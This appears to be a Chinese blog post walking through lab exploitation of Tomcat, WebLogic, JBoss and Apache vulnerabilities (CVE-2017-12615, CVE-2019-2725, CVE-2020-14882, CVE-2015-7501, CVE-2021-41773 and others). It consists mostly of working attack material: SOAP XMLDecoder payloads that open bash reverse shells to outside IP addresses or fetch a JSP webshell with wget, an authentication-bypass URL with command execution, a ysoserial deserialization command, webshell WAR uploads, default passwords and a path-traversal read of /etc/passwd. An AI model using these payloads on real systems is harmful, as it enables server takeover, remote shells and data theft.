常见的中间件漏洞(tomcat,weblogic,jboss,apache)

发布于:2025-08-01 ⋅ 阅读:(17) ⋅ 点赞:(0)

Tomcat

CVE-2017-12615

开启靶场命令

docker-compose up -d

打开靶场以后,打开抓包刷新一ip

tomcat8

同样先开启环境,将哥斯拉生成的jsp木马文件,压缩成zip文件,再将后缀改成war

下面找到上传点,上传文件即可

因为我们上传的是zk.war文件,所以url写zk/zk.jsp

CVE-2020-1938

tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口, 另 外⼀个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。

下面命令需要python2环境,和一个cve-2020-1938.py文件

python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml ip地址

WebLogic

cd vulhub-master/weblogic/weak_password

默认页面

url后面加console,登录页面

账号密码 :weblogic/Oracle@123

然后点部署,安装,上载文件

然后一直下一步,完成上传文件

这样就可以访问到了

然后用连接工具练一下

CVE-2017-3506

还是刚才那个靶场

进入页面抓包

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/124.221.58.83/6666 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

放行即可

CVE-2019-2725

同理

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

CVE-2018-2628

工具

CVE-2018-2894

docker-compose logs | grep password

设置web服务测试开启: 域结构 -> base-domain -> 高级 -> 启动Web服务测试页

/ws_utc/config.do

把上面地址改成下面的地址,然后点提交。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

/ws_utc/css/config/keystore/1726815031601_zk2.jsp

然后用weshell工具连接

CVE-2020-14882

默认登录页面

绕过登录认证

/console/css/%252e%252e%252fconsole.portal

多试几次就可以绕过

第一种方式

url后面直接加下面

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

然后进入容器

docker exec -it 1e044bd903ea /bin/bash
ls /tmp

第二种方式

写一个1.xml内容如下,把它放到一个能访问的服务器下

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/101.201.29.59:7001/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

开启监听

nc -lvvp 6666

用python开一个临时的http服务,用来访问1.xml

python3 -m http.server 88

然后url后面访问

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://101.201.29.59:88/1.xml")

然后监听就可以反弹到shell了

jboss

CVE-2015-7501

/invoker/JMXInvokerServlet 

这存在反序列化漏洞

反弹shell

bash -i >& /dev/tcp/101.201.29.59/6666 0>&1

base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5LzY2NjYgMD4mMQ==

开监听

nc -lccp 6666

用工具生成exp.ser

java -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser 
curl http://8.152.207.233:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

CVE-2017-7504

访问漏洞地址

/jbossmq-httpil/HTTPServerILServlet

使用python运行jexboss.py工具直接执行下面语句即可拿到shell

python jexboss.py -u http://101.201.29.59:8080

CVE-2017-12149

搭建好靶场以后,验证是否存在漏洞访问

/invoker/readonly

返回500,说明页面存在,此页面存在反序列化漏洞

可以直接使用工具检测漏洞

Administration Console弱口令

先搭建好靶场

查看密码

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties

登录你url

/admin-console/login.seam

上传后门war

上传上去连接即可

低版本JMX Console未授权

搭建好靶场

找到这里

这里上传war木马文件

然后连接即可

高版本JMX Console未授权

进入靶场以后

找到这里

远程部署war包

然后输入nvoke

连接webshell

Apache

CVE-2021-41773

环境搭建

docker pull blueteamsteve/cve-2021-41773:no-cgid 
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

使用

curl  http://121.40.229.129:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

网站公告

今日签到

点亮在社区的每一天
去签到